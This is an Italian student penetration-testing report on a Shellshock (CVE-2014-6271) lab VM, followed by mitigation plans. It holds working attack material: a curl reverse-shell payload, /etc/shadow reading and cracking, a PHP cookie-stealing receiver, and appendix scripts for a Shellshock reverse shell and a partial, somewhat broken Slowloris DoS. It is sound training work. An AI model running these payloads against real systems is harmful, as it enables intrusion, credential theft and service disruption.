Penetration Testing e Analisi delle Vulnerabilità su un Sistema Aziendale

Emanuele Giusti - Fabio Stanzani - Silvia Passarini - Alessandro Carbonchi - Matteo Righi

Corso di System Cybersecurity Specialist

presso Fondazione ITS Academy Adriano Olivetti

Project Work Secondo Anno

13 Maggio 2025

Indice

Introduzione

Nel panorama informatico attuale, la sicurezza dei sistemi aziendali rappresenta uno dei pilastri fondamentali per garantire la protezione delle informazioni critiche e sensibili. Con l'aumentare degli attacchi informatici mirati, il rischio di compromissione della riservatezza, integrità e disponibilità dei dati è cresciuto esponenzialmente, rendendo indispensabile effettuare valutazioni approfondite dello stato di sicurezza delle infrastrutture IT.

In questo contesto, ci è stato affidato il compito di condurre una valutazione della sicurezza informatica per un'azienda che gestisce un ampio parco di sistemi server e client, utilizzati quotidianamente per l'elaborazione di dati aziendali sensibili. Tra le informazioni trattate rientrano documenti riservati, dati finanziari e progetti strategici, la cui esposizione non autorizzata potrebbe comportare gravi conseguenze legali, economiche e reputazionali per l'organizzazione.

L'azienda oggetto del test dispone di un'infrastruttura interna protetta da un firewall e offre ai propri dipendenti l'accesso remoto tramite una rete privata virtuale (VPN). Queste misure sono state implementate al fine di garantire una prima linea di difesa contro accessi esterni non autorizzati. Tuttavia, negli ultimi periodi sono state segnalate attività anomale all'interno della rete e tentativi sospetti di accesso non autorizzato, che fanno sorgere il legittimo dubbio sulla reale efficacia delle contromisure attualmente in uso.

Obiettivo principale di questa valutazione è stato quindi identificare potenziali vulnerabilità presenti nei sistemi aziendali attraverso l'esecuzione di penetration test metodici e mirati. Il processo ha previsto la simulazione di attacchi informatici realistici, al fine di comprendere le debolezze dell'architettura di rete, dei sistemi operativi impiegati (Windows e Linux) e dei servizi esposti, come database, applicazioni web interne e archivi di dati.

La metodologia adottata si basa sui principi del penetration testing etico, seguendo un approccio strutturato che include le seguenti fasi principali:

- **Reconnaissance** : raccolta di informazioni passive e attive sul target.
- **Scanning & Enumeration** : individuazione di porte aperte, servizi attivi e possibili vettori di attacco.
- **Vulnerability Assessment** : analisi e classificazione delle vulnerabilità potenzialmente sfruttabili.
- **Exploitation** : tentativo di ottenere accesso ai sistemi sfruttando le falle individuate.
- **Post-Exploitation** : analisi del livello di compromissione raggiunto, escalation dei privilegi e persistenza.
- **Reporting** : documentazione dettagliata di ogni fase, con particolare attenzione alla riproducibilità, all'impatto e alle possibili soluzioni correttive.

L'ambiente utilizzato per il test è stato un sistema virtuale fornito da VulnHub, ispirato a un caso reale di vulnerabilità critica: Pentester Lab - CVE-2014-6271.

Questo scenario ha permesso di lavorare in un ambiente controllato, replicando situazioni realistiche che spesso si incontrano nel mondo professionale.

I risultati del penetration test hanno fornito un quadro dettagliato dello stato di sicurezza dell'infrastruttura simulata, permettendo di individuare criticità significative e di avanzare proposte concrete per migliorarne la resilienza futura.

Analisi Contesto e Minacce

L'azienda analizzata si colloca in un ambiente informatico complesso, all'interno del quale vengono gestiti dati aziendali estremamente sensibili, tra cui documenti riservati, informazioni finanziarie e progetti strategici. Questa tipologia di informazioni rappresenta un obiettivo primario per diversi tipi di attaccanti, come hacker malintenzionati, gruppi criminali organizzati e persino attori statali interessati al furto di proprietà intellettuale o dati economici critici.

La struttura IT dell'azienda prevede l'utilizzo di un'infrastruttura mista basata su sistemi operativi Windows e Linux , con server dedicati alla gestione di servizi fondamentali, tra cui database relazionali, applicazioni web interne e archivi di dati sensibili. L'accesso ai sistemi avviene sia in locale, tramite la rete interna, che da remoto, grazie a una VPN configurata per i dipendenti . A protezione della rete è presente un firewall che filtra il traffico in entrata e in uscita.

Nonostante queste misure di sicurezza apparentemente solide, negli ultimi tempi sono state segnalate attività anomale nella rete e tentativi di accesso non autorizzato, sintomi che indicano possibili vulnerabilità nell'architettura difensiva dell'azienda.

Principali minacce identificate

Di seguito vengono descritte le principali minacce che l'azienda simulata potrebbe affrontare, sulla base delle informazioni disponibili e dei comportamenti osservati.

1. Accessi non autorizzati tramite credenziali deboli o esposte

Una delle criticità maggiori riguarda la possibilità che utenti malintenzionati riescano ad accedere ai sistemi aziendali sfruttando credenziali deboli, facilmente indovinabili o compromesse da precedenti fughe di dati (data breach). La presenza di password poco complesse o di credenziali hardcoded nei servizi esposti aumenta notevolmente il rischio di compromissione.

2. Sfruttamento di vulnerabilità note nei software utilizzati

Un altro vettore d'attacco molto comune è rappresentato dall'utilizzo di software obsoleti o non aggiornati. Molti sistemi aziendali girano su applicazioni o librerie che presentano vulnerabilità conosciute e documentate pubblicamente (es. CVE), ma per le quali non sono state applicate patch di sicurezza.

3. Attacchi di rete (spoofing, sniffing, MITM)

Poiché l'azienda utilizza una rete interna e consente l'accesso remoto via VPN, è esposta a potenziali attacchi di tipo MITM (Man-in-the-Middle) , ARP spoofing e sniffing del traffico . Se la comunicazione tra i client e i server non è adeguatamente cifrata o protetta, un attaccante potrebbe intercettare credenziali, sessioni attive o dati sensibili in chiaro.

4. Esposizione di servizi critici senza protezione adeguata

Spesso capita che servizi interni, pensati per essere utilizzati solo all'interno della rete aziendale, vengano erroneamente esposti su Internet. Senza una corretta configurazione del firewall o senza autenticazione robusta, questi servizi diventano immediatamente un punto debole sfruttabile dagli attaccanti.

MINACCIA	***DESCRIZIONE***	***IMPATTO***
Accessi non Autorizzati	*Credenziali deboli o default*	*Compromissione sistemi*
Vulnerabilità SFTW note	*Sftw non aggiornati*	*Esecuzione di codice*
Attacchi di rete	*Intercettazione traffico*	*Fuga di dati sensibili*
Servizi critici esposti	*Servizi resi pubblici*	*Accesso diretto a sistemi*

Metodologia del Penetration Testing

Il penetration test è stato effettuato seguendo un approccio collaborativo ma decentralizzato : ogni componente del gruppo ha lavorato autonomamente come se fosse l'unico tester coinvolto. Questo ha permesso di ottenere risultati diversificati, aumentando la copertura del target e migliorando la qualità complessiva del lavoro.

L'obiettivo era **duplice**:

- Avere una visione completa del sistema da analizzare
- Poter confrontare i risultati tra i vari componenti, al fine di verificare dati, scartare falsi positivi e costruire un report finale il più esaustivo possibile

Non abbiamo seguito un framework ufficiale (come **PTES** o **OWASP**), ma ci siamo basati su un processo intuitivo e strutturato in fasi logiche:

- **Reconnaissance** : raccolta di informazioni iniziali
- **Enumeration & Scanning** : identificazione di porte, servizi e directory sensibili
- **Vulnerability Assessment** : individuazione di potenziali vulnerabilità
- **Exploitation** : tentativi mirati di accesso
- **Post-Exploitation** : escalation di privilegi e raccolta di informazioni aggiuntive

Strumenti utilizzati e motivazioni della scelta

La selezione degli strumenti è stata fatta in base alla loro affidabilità, diffusione nel mondo del penetration testing e capacità di fornire risultati dettagliati e riproducibili .

Di seguito una panoramica dei principali tool adottati durante il test:

TOOL	*UTILIZZO*
Kali Linux	*Preconfigurato con tools essenziali al PT*
Nmap	*Scansione delle porte e servizi attivi*
Nikto	*Vulnerabilità su server web, configurazioni errate*
Dirb / Gobuster	*Enumerazione delle directory e contenuti non linkati*
Sniper	*Penetration Test lato web*
Hydra	*Attacchi Brute Force e Dictionary Attack*
Netcat	*Connessioni manuali e invio di Payload*
Curl	*Richieste HTTP personalizzate*
Nessun / Greenbone	*Individuazione CVE e problemi di configurazione*
Python	*Script ad hoc per automatizzare exploit*

Ogni strumento è stato scelto in base alle sue caratteristiche tecniche e alla sua capacità di rispondere a bisogno operativo. La combinazione di tool e approcci manuali ha permesso di condurre un penetration test completo e ben documentato.

Documentazione e riproducibilità

Un aspetto fondamentale del nostro lavoro è stato il rigoroso processo di documentazione continua .
Ogni azione è stata registrata attraverso:

- Log terminali completi
- Report generati dagli scanner
- Elenco dei comandi utilizzati e relativi output
- Copia degli script creati

Questa pratica ha garantito che ogni passaggio fosse completamente riproducibile, facilitando sia il confronto tra i membri del gruppo che la stesura finale del report.

Fase Operativa - Penetration Test

Introduzione alla Fase Operativa

Dopo aver definito l'ambiente target e le principali minacce che potevano interessarlo, siamo passati alla fase operativa vera e propria: **il penetration test**. Questa è stata la parte più tecnica dell'intero progetto, in cui abbiamo simulato attacchi reali per identificare e sfruttare vulnerabilità presenti nel sistema.

Il processo è stato condotto seguendo un approccio metodico ma flessibile, adattandosi alle particolarità emerse durante l'esecuzione. Ogni componente del gruppo ha lavorato autonomamente, utilizzando gli stessi strumenti ma con approcci diversi, permettendoci di ottenere una visione completa e articolata del sistema analizzato.

Di seguito vengono descritte le principali fasi dell'attività di pentest, con dettaglio sui comandi utilizzati, i risultati ottenuti e le tecniche di exploit effettuate.

4.1 Reconnaissance

In questa fase è stata effettuata una raccolta iniziale di informazioni sul sistema target. L'obiettivo era comprendere quali fossero le porte aperte, i servizi esposti e le possibili vie d'accesso al sistema.

➔ Tool utilizzati : **nmap, whois, dig**

Esempio pratico:

Qui abbiamo fatto una prima perlustrazione di porte o servizi attivi, utilizzando:

```
1  nmap -A 192.168.1.158
```

Ottenendo questo come output:

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0 (protocol 2.0)
| ssh-hostkey:
|   1024 8b:4c:a0:14:1c:3c:8c:29:3a:16:1c:f8:1a:70:2a:f3 (DSA)
|   2048 d9:91:5d:c3:ed:78:b5:8c:9a:22:34:69:d5:68:6d:4e (RSA)
|_  256 b2:23:9a:fa:a7:7a:cb:cd:30:85:f9:cb:b8:17:ae:05 (ECDSA)

80/tcp open  http    Apache httpd 2.2.21 ((Unix) DAV/2)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: [PentesterLab] CVE-2014-6271
|_http-server-header: Apache/2.2.21 (Unix) DAV/2
MAC Address: 08:00:27:47:22:AF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.25 ms vulnerable (192.168.1.158)
```

Oppure, per la scansione di servizi nello specifico:

```
nmap -sS -sV 192.168.1.213
```

che agisce in modo Stealth per non generare rumore durante la scansione.

4.2 Enumeration

Obiettivo di questa fase è stato raccogliere informazioni dettagliate sui servizi attivi, le directory accessibili, gli utenti registrati e altre risorse che potessero aiutare nella fase successiva.

➔ Tool utilizzati : **Gobuster, Nikto, Dirb, Sniper**

Esempio pratico:

Utilizzando Nikto, possiamo fare uno scan sul lato web:

```
1  nikto -h http://192.168.1.158
```

Ricevendo come output una lista di informazioni molto utili e trovando molte vulnerabilità, che vedremo nella sezione apposita.

4.3 Scanning Vulnerabilità

Questa fase è stata dedicata all'identificazione di potenziali vulnerabilità nel sistema target, utilizzando sia tool automatizzati che analisi manuale.

➔ Tool utilizzati : **Nessus, Greenbone (OpenVAS)**

Esempio pratico:

Utilizziamo Gobuster chiamandolo attraverso:

```
1  gobuster dir -u http://192.168.1.66/ -w /usr/share/wordlists/dirb/common.txt
```

ottenendo una buona quantità di informazioni del tipo:

- File con accesso negato (403) e i relativi identificatori
- File con accesso consentito (200) e relativi identificatori
- File con redirectory (301)
- File potenzialmente vulnerabili (/cgi-bin)

4.4 Exploitation

In questa fase è stato effettuato l'exploit vero e proprio, cercando di ottenere accesso al sistema sfruttando le vulnerabilità precedentemente individuate.

➔ Vulnerabilità sfruttata : Shellshock (CVE-2014-6271)

Esempio pratico:

Costruiamo comando curl per ritornare "Vulnerable" se appunto lo è:

```
curl -A '() { :; }; echo; echo Vulnerable' http://IP/cgi-bin/status
```

Ottenendo una risposta del genere:

```
Vulnerable
Content-Type: application/json
```

Ora, sapendo che è vulnerable, apro un listener su kali

```
nc -lvnp 4444
```

e nello stesso momento mi rispecchio con un altro comando, sulla macchina vulnerabile. Ora dalla nostra kali, abbiamo pieno controllo della vm vulnerabile.

4.5 Post-Exploitation

Una volta ottenuto l'accesso al sistema, siamo passati alla fase di post-exploitation, in cui abbiamo cercato di ottenere privilegi elevati e raccogliere informazioni sensibili dal server compromesso.

➔ Tecnica utilizzata : **Escalation dei privilegi**

Esempio pratico:

Controlliamo che ora si possa eseguire comandi bash sulla macchina e testiamo se il comando **sudo** ha password o meno:

```
sudo -l
```

Ottenendo:

```
1   (root) NOPASSWD: ALL
```

Non ci rimane altro che diventare root attraverso:

```
1   sudo -s
```

Perfetto, ora siamo diventati l'utente **root**.

Vulnerabilità Individuate

Durante il penetration test sono state individuate numerose vulnerabilità nel sistema analizzato. Queste falle riguardano sia configurazioni errate che software obsoleti o esposti in modo non sicuro. Alcune di esse sono state sfruttate con successo per ottenere accesso al sistema o raccogliere informazioni sensibili.

Di seguito vengono elencate le principali vulnerabilità trovate, con dettaglio sul tipo, l'impatto potenziale e la soluzione proposta.

VULNERABILITA'	*TIPO*	*IMPATTO*	*CVE*
ETags Leak	*Information Disclosure*	*Basso*	*CVE-2003-1418*
Missing X-Frame	*Misconfig Web Security*	*Medio*	-
Outdated Apache	*Software Obsoleto*	*Alto*	*CVE-2020-9490*
HTTP TRACE xst	*Web application attack*	*Medio*	-
Uncommon header	*informazione anomala*	*Basso*	*CVE-2014-6271*
Shellshock Vulnerability	*Remote code execution*	*Critico*	*CVE-2014-6271*
Misconfig wp-config.php	*Information Disclosure*	*Alto*	-

Ora le vedremo una ad una, per poter spiegare come sono state trovate e successivamente, come proteggersi e mitigare queste possibili minacce.

Shellshock Vulnerability (CVE-2014-6271)

Una delle vulnerabilità più gravi scoperte durante il test è stata Shellshock , una falla nell'interprete Bash che permette l'esecuzione remota di codice arbitrario tramite script CGI.

Questa era una problematica nota nelle versioni vecchie di Apache; dato che questo server ha appunto una versione non aggiornata, la vulnerabilità è presente

Come è stata trovata:

- ➔ ci siamo messi in ascolto sulla porta 4444 della nostra kali
  - ◆ nc -lvnp 4444
- ➔ dopodiché, lanciamo un comando sulla vm attaccata per collegarci
  - ◆ curl -A '() { :; }; /bin/bash -i >& /dev/tcp/192.168.1.X/4444 0>&1' http://192.168.1.158/cgi-bin/status
- ➔ ora abbiamo il controllo della macchina da remoto
- ➔ una volta dentro è il momento di scoprire quale utente sono
  - ◆ whoami
- ➔ scopriamo di essere utente "penterterlab", ora capiamo i permessi
  - ◆ sudo -l
- ➔ riceviamo come output " (root) NOPASSWD: ALL "
- ➔ ora andiamo a controllare nel file " /etc/shadow " dove sono contenute pws criptate
  - ◆ cat /ect/shadow
- ➔ troviamo corrispondenza con l'utente del quale siamo in possesso
- ➔ a questo punto non manca altro che craccare la pws trovata nella corrispondenza
  - ◆ john --format=md5crypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
- ➔ ed eccola che ci viene fornita in chiaro
  - ◆ **7!Vamos!**

Impatto:

- ➔ Accesso completo al sistema, con possibilità Privilege Escalation

Soluzione suggerita:

- ➔ Aggiornamento bash alla versione patchata
- ➔ Disattivare CGi dove non necessario

Outdated Apache Version

Il server web esegue una versione obsoleta di Apache HTTP Server (2.2.21 versione della vm) , nota per diverse vulnerabilità di configurazione.

Come è stata trovata:

- ➔ è stata fatta una scansione di sicurezza con **Nikto** sul lato web della vm
- ➔ Nikto viene utilizzato in questo modo
  - ◆ nikto -h http://192.168.1.158
- ➔ ci viene fatto un bel report di informazioni come output, ma qualcosa cattura attenzione
  - ◆ + Server: Apache/2.2.21 (Unix) DAV/2
- ➔ ci viene confermato anche dal tool che questa versione è arretrata e potenzialmente a rischio

Impatto:

- ➔ Possibili attacchi Injection
- ➔ Rischi rischi legati a moduli non aggiornati assieme alla versione
- ➔ Possibile DoS

Soluzione suggerita:

- ➔ Aggiornamento alla versione più recente
  - ◆ `sudo apt-get upgrade apache2 openssh-server`
- ➔ Rimuovere moduli non necessari
  - ◆ userdir - cgi
- ➔ Patch regolari

Missing X-Frame-Options Header

Il server non restituisce l'header X-Frame-Options, rendendo il sito soggetto a clickjacking. Attraverso questa tecnica l'attaccante può inserire siti / ip in iframe e ingannare utenti a fare cose non volute.

Come è stata trovata:

- ➔ facendo proprio una ricerca e scanner di questa vulnerabilità
- ➔ siamo partiti con la creazione di un comando **curl**
  - curl -I http://192.168.1.158
- ➔ otteniamo come output questo
  - HTTP/1.1 200 OK
    Date: Fri, 28 Mar 2025 22:33:27 GMT
    Server: Apache/2.2.21 (Unix) DAV/2
    Last-Modified: Thu, 25 Sep 2014 09:56:50 GMT
    ETag: "2521-6a8-503e0d1bdfc80"
    Accept-Ranges: bytes
    Content-Length: 1704
    Content-Type: text/html
- ➔ come si può notare, non è presente nessuna stringa come
  - X-Frame-Options: SAMEORIGIN
  - X-Frame-Options: DENY
    - quindi è *vulnerabile*
- ➔ procediamo a testare, creiamo un html con la pagina "http://192.168.1.158" in iframe
  - <!DOCTYPE html>
    <html>
    <head>
    <title>Clickjacking Test</title>
    </head>
    <body>
    <h1>TEST VULN</h1>
    Se il sito appare = vulnerabile.
    <iframe src="http://192.168.1.158" </iframe>
    </body>
    </html>

- ➔ fatto questo, avvio un server web per esporre la pagina
  - ◆ python3 -m http.server 8080
- ➔ da un'altra macchina sulla stessa rete (altra istanza di kali) visito
  - ◆ http://127.0.0.1:8080/clickjacking.html
- ➔ riesco a visitarlo e vedere pagina web del server della vm

Impatto:

- ➔ Possibilità di ingannare gli utenti con iframe invisibili per far eseguire azioni involontarie.

Soluzione suggerita:

- ➔ Impostare header X-Frame-Option in questo modo
  - ◆ X-Frame-Options: DENY oppure X-Frame-Options: SAMEORIGIN
- ➔ Per essere più precisi, questa sarebbe metodologia più efficace
  - ◆ Content-Security-Policy: frame-ancestors 'self'
  - ◆ dove
    - **frame-ancestors**: definisce quali domini posso incorporare pagina
    - **self**: permette solo al sito stesso di mettersi in iframe

HTTP Trace method enabled (xst)

Il server supporta il metodo HTTP TRACE, noto per essere sfruttabile in attacchi di tipo Cross-Site Tracing (XST) .

Come è stata trovata:

- ➔ abbiamo verificato che il metodo **TRACE** fosse realmente attivo
  - ◆ curl -X TRACE http://192.168.1.158 -v
- ➔ otteniamo un lungo output ma ci accorgiamo del seguente blocco
  - ◆ TRACE / HTTP/1.1
    Host: 192.168.1.158
    User-Agent: curl/8.12.1
    Accept: */*
    Cookie: sessionid=123456

- ➔ questo dimostra che metodo TRACE è abilitato
- ➔ l'attaccante potrebbe provare a rubare i cookies di sessione e così noi abbiamo provato
- ➔ creiamo server web in python e incorporiamo la pagina dentro ad un file html
- ➔ creiamo un codice php che ci permette di fare il furto dei cookies
    - ◆ <?php
      $file = 'cookies.txt';
      $data = $_GET['data'] . "\n";
      file_put_contents($file, $data, FILE_APPEND);
      ?>
- ➔ fatto ciò, avvio un Php server per ricevere le informazioni dal mio codice
    - ◆ php -S 0.0.0.0:8080
- ➔ come ultima cosa, visito url dove ho la mia pagina fittizia
    - ◆ http://192.168.1.151:8080/xst_attack.html
- ➔ ed ecco che mi ritrovo i cookies rubati e in chiaro sul mio server Php

Impatto:

- ➔ Possibilità di bypassare protezioni come Same-Origin Policy .

Soluzione suggerita:

- ➔ Disattivare metodo **TRACE** nel file di configurazione di Apache
    - ◆ TraceEnable off
- ➔ Configurare cookies con **Httponly**, che impedisce accesso con JS o Php

Configurazione errata del file wp-config.php

Durante l'enumerazione è stato possibile accedere al file wp-config.php.Il file wp-config.php contiene le credenziali del database di WordPress. Se un attaccante ottiene questo file, ha accesso completo al database del sito

Come è stata trovata:

- ➔ sempre con il comando di richiamo a Nikto
    - ◆ nikto -h http://192.168.1.158

- ➔ riusciamo a trovare nell'output
  - ◆ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
- ➔ questo ci fa capire che Nikto ha rilevato la presenza del file e potrebbe non essere correttamente protetto
- ➔ quindi tecnicamente chiunque potrebbe aprire il percorso
  - ◆ + http://192.168.1.158/wp-config.php
- ➔ così facendo, avrebbe la possibilità di scaricare il file e leggere credenziali DB

Impatto:

- ➔ Accesso diretto ai dati sensibili del sito (username DB, password, nome DB).
- ➔ Subire SQL Injection o modificare contenuto del sito
- ➔ Se il sito / Server è online, potrebbe compromettere completamente il sistema

Soluzione suggerita:

- ➔ Usando Apache, si può impedire accesso tramite .htaccess
  - ◆ Order Allow, Deny
  - ◆ Deny from all
- ➔ Modificare i permessi del file
  - ◆ chmod 600 wpconfig.php
  - ◆ chown www-data:www-data wp-config.php
- ➔ In alcune configurazioni, si mette wp-config fuori da directory pubblica

Valutazione Sicurezza Attuale

Questa sezione presenta un'analisi dello stato attuale delle misure di sicurezza adottate dall'azienda simulata, sulla base dei risultati emersi durante il penetration test. L'obiettivo è valutare l'efficacia delle contromisure esistenti e individuare eventuali criticità che possano compromettere la protezione dei dati sensibili e l'integrità dell'infrastruttura.

6.1 Configurazione del Firewall

La configurazione del firewall si è rivelata insufficiente per garantire una protezione adeguata contro accessi non autorizzati e attacchi mirati. Tra le principali criticità individuate:

- **Porta 22 (SSH) pubblica:** effettuare tentativi di accesso remoto senza limitazioni.
- **NO restrizioni su servizio SSH:** nessun controllo
- **HTTP TRACE non disabilitato:** aumenta la superficie d'attacco

Queste lacune indicano una mancanza di politiche di hardening della rete, che lascia il sistema esposto a minacce esterne facilmente sfruttabili.

6.2 Gestione dell'autenticazione

L'autenticazione all'interno del sistema presenta diversi punti deboli che riducono significativamente il livello di sicurezza:

- **Accesso SSH con password:** non sono state implementate soluzioni più sicure
- **Accesso root diretto:** accedere direttamente con privilegi elevati.
- **NOPASSWD in sudoers:** rischio di escalation non controllata
- **no policy per password:** deboli e attaccabili

Il tutto si traduce in: gestione poco rigorosa delle identità e degli accessi.

6.3 Aggiornamenti e Patch Management

Un altro aspetto preoccupante riguarda l'utilizzo di software obsoleti e non aggiornati:

- **Apache vv 2.4.38:** nota per diverse vulnerabilità
- **OpenSSH old:** possibile presenza di exploit già noti
- **no patch di management:** nessuna evidenza di monitoraggio delle CVE

La mancanza di una strategia chiara per la gestione delle patch aumenta considerevolmente il rischio di compromissione del sistema.

6.4 Protezione dei Dati Sensibili

Durante il penetration test è emerso che i dati sensibili non sono sufficientemente protetti, e alcune informazioni critiche sono facilmente recuperabili:

- **wp-config.php pubblico:** contiene credenziali sensibili
- **NO protezioni directory critiche:** nessun meccanismo di protezione
- **NO policy per gestione dati sensibili:** nessun controllo centralizzato

Questa situazione espone l'azienda a gravi rischi di fuga di dati.

Conclusione della Valutazione

In base ai risultati del penetration test, lo stato attuale della sicurezza dell'infrastruttura analizzata si rivela insicuro e fortemente esposto a rischi reali . Le principali criticità riguardano:

- Una configurazione inadeguata del firewall
- Debolezza nei meccanismi di autenticazione
- Utilizzo di software non aggiornati
- Mancanza di protezione per dati e file sensibili

Senza interventi rapidi, l'azienda rimane vulnerabile a molti tipi di attacco.

Piano di mitigazione

Questa sezione presenta un insieme di raccomandazioni concrete e un piano di implementazione realistico per migliorare lo stato di sicurezza dell'azienda simulata. Le mitigazioni proposte si basano sulle vulnerabilità individuate durante il penetration test e sono organizzate per priorità, impatto e fattibilità operativa, in comode e rapide tabelle suddivise per seione.

7.1 Misure Tecniche di Sicurezza Proposte

Di seguito presentiamo le principali azioni tecniche proposte dopo il nostro operato sul sistema.

a. *Rafforzamento firewall*

AZIONE	***PRIORITY***
Limitare SSH a ip noti	*Critico*
Disattivare HTTP TRACE	*Medio*
Bloccare porte inutilizzate	*Medio*

b. *Miglioramento dell'autenticazione*

AZIONE	***PRIORITY***
Disabilitare accesso root via SSH	*Critico*
Implementare autenticazione HASH / SSH Key	*Alto*
Rimuovere NOPASSWD su file sudoers	*Medio*
Aggiornare policy su password	*Alto*

c. *Aggiornamenti, Patch Management e Monitoraggio*

AZIONE	PRIORITY
Aggiornamento Apache	*Critico*
Aggiornamento OpenSSH	*Alto*
Implementazione Aggiornamenti automatici	*Alto*
Attivare registro SSH	*Medio*
Alert su accessi multipli non riusciti	*Medio*

d. *Formazione del Personale*

AZIONE	PRIORITY
Formazione sulla sicurezza	*Alto*
Policy per gestione credenziali	*Alto*
Uso di autenticazione di tipo MFA	*Alto*

7.2 Piano dettagliato per implementazione

a. Suddiviso in fasi rapide e riproducibili

FASE	OBBIETTIVO	TEMPO STIMATO
1 - Analisi	Definire budget - risorse - priorità	***1 mese***
2 - Sicurezza Rete	Protezione accesso e Firewall	***2 mesi***
3 - Aggiornamento SFW	Patching Apache, OpenSSH	***2 mesi***
4 - Formazione	Educare gli utenti / personale	***3 mesi***
5 - Test e Verifica finale	Validare efficacia misure	***1 mese***

7.3 Considerazioni Finali

L’implementazione delle misure sopra descritte porterà a un miglioramento sostanziale dello stato di sicurezza dell’infrastruttura. In particolare:

- Operazioni su porte e configurazioni di Firewall ridurranno la superficie d’attacco
- Accesso con SSH Key elimineranno vettori di attacco contro autenticazione
- Aggiornamenti di Apache e OpenSSH risolveranno le vulnerabilità note
- Introduzione di un sistema di monitoraggio che monitori in RL gli accessi
- Formazione del personale per una maggiore consapevolezza e prevenzione

Con un piano così strutturato, nel giro di 1 anno, l’azienda potrebbe aver raggiunto un livello di sicurezza ottimale.

Conclusioni

Il penetration test sull'infrastruttura simulata, ha permesso di identificare numerose vulnerabilità critiche, confermando l'esigenza di un miglioramento strutturale delle misure di sicurezza adottate.

Pur dotata di firewall e accesso remoto tramite VPN, si è rivelata esposta a diversi vettori d'attacco, tra cui *credenziali deboli, software obsoleti, configurazioni errate e mancanza di protezioni avanzate per i dati sensibili*. Queste criticità evidenziano una gestione della sicurezza ancora insufficiente rispetto agli standard richiesti.

La valutazione complessiva attuale = *Basso / Medio*

Rimangono alcuni rischi residui che richiederanno monitoraggio continuo:

- Insider threat
- Fuga di dati per errore umano
- Vulnerabilità zero-day

In prospettiva futura, consigliamo di:

- Implementare il piano di mitigazione
- Effettuare test periodici
- Formazione interna
- Introdurre strumenti per monitoraggio attivo

Con questi interventi, l'azienda potrà raggiungere un livello di maturità nella sicurezza IT conforme alle esigenze operative e alle minacce moderne.

Appendice

Questa sezione contiene informazioni supplementari utili per comprendere e replicare il penetration test effettuato. L'obiettivo è fornire un livello di dettaglio tecnico avanzato, utile sia per i revisori del progetto che per eventuali analisti interni che volessero approfondire il lavoro svolto.

Strumenti Utilizzati

Di seguito l'elenco degli strumenti utilizzati durante il penetration test:

- *Kali Linux*
- *Nmap*
- *Nikto*
- *Gobuster*
- *Dirb*
- *Hydra*
- *Netcat (nc)*
- *Curl*
- *Sniper*
- *Metasploit Framework*
- *Greenbone / OpenVAS*
- *Nessus*
- *Python*
- *Wireshark*

Ecco alcune pratiche seguite:

1 - Scansione dettagliata attraverso NMAP

```
nmap --script vuln IP
```

2 - Mettersi in ascolto su una porta

```
nc -l PORT_NUMBER
```

3 - Verifica presenza directory nascoste a lato web

```
dirb http://IP
```

4 - Scanning per capire se macchina è Vulnerabile

```
curl -A '() { :; }; echo; echo Vulnerable' http://IP/cgi-bin/status
```

5 - Controllo se VM ha sudo senza password

```
sudo -l
```

6 - Avvio Server Web con python

```
python3 -m http.server PORT
```

7 - Controllo su metodo TRACE

```
curl -X TRACE http://IP -v
```

8 - Sapere la propria Identità (User)

```
whoami
```

9 - Trovare file con password hashate (/shadow)

```
cat /etc/shadow
```

10 - Creazione Server PHP

```
php -S 0.0.0.0:8080
```

11 - Comando nmap per Shellshock

```
nmap -sV -p PORT_NUMBER --script http-shellshock IP
```

12 - Shellshock Python Script

```python
import requests

def send_payload(url, lhost, lport):

    payload = f'() {{ :;}}; echo; echo; /bin/bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"'
    headers = {'User-Agent': payload}
    try:
        response = requests.get(url, headers=headers, timeout=5)
        if response.status_code == 200:
            print(f"[+] Payload inviato. Controlla {lhost}:{lport}.")
        else:
            print(f"[-] Errore nell'invio. Status Code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Si è verificato un errore durante la richiesta")


if __name__ == "__main__":
    target_ip = input("IP Target: ")
    target_port = input("CGI PORT - 80 o 443: ")
    local_ip = input("IP Localhost: ")
    local_port = input("Listener PORT: ")

    target_url = f"http://{target_ip}:{target_port}/cgi-bin/status"
    print(f"[*] Target URL: {target_url}")
    print(f"[*] Listener IP: {local_ip}:{local_port}")

    print("[*] Invio del payload...")
    send_payload(target_url, local_ip, int(local_port))

    print("[*] Script completato.")
```

13 - Slowdoris tramite Python

```
import socket

import random

import time

import threading



def slowloris(target_ip, target_port, num_sockets=500):


    sockets = [

         # Lista di user-agent per simulare richieste da vari browser e
dispositivi

    ]


    print(f"[+] Attacco in corso su {target_ip}:{target_port} con {num_sockets}
socket...")



    for _ in range(num_sockets):

        try:

            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s.connect((target_ip, target_port))

            sockets.append(s)

            print(f"[+] Socket {_ + 1} creato.")
```

```
            user_agent = random.choice(user_agents)
            s.send(f"GET /?{random.randint(0, 2000)}
HTTP/1.1\r\n".encode('utf-8'))
            s.send(f"Host: {target_ip}\r\n".encode('utf-8'))
            s.send(f"User-Agent: {user_agent}\r\n".encode('utf-8'))
            s.send("Content-Length: 42\r\n".encode('utf-8'))
            s.send("Connection: keep-alive\r\n".encode('utf-8'))
            print("[+] Intestazione inviata.")
        except socket.error as e:
            print(f"[-] Errore nella creazione del socket: {e}")
            break



    while True:
        try:
            print(f"[+] Mantendo attivi {len(sockets)} socket...")
            for s in list(sockets):
                try:
                    s.send(f"X-a: {random.randint(1, 5000)}\r\n".encode('utf-8'))
                except socket.error:
                    sockets.remove(s)

            for _ in range(num_sockets - len(sockets)):
```

```
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((target_ip, target_port))
                    sockets.append(s)
                    print("[+] Ricreazione del socket...")
                    user_agent = random.choice(user_agents)
                    s.send(f"GET /?{random.randint(0, 2000)}
HTTP/1.1\r\n".encode('utf-8'))
                    s.send(f"Host: {target_ip}\r\n".encode('utf-8'))
                    s.send(f"User-Agent: {user_agent}\r\n".encode('utf-8'))
                    s.send("Content-Length: 42\r\n".encode('utf-8'))
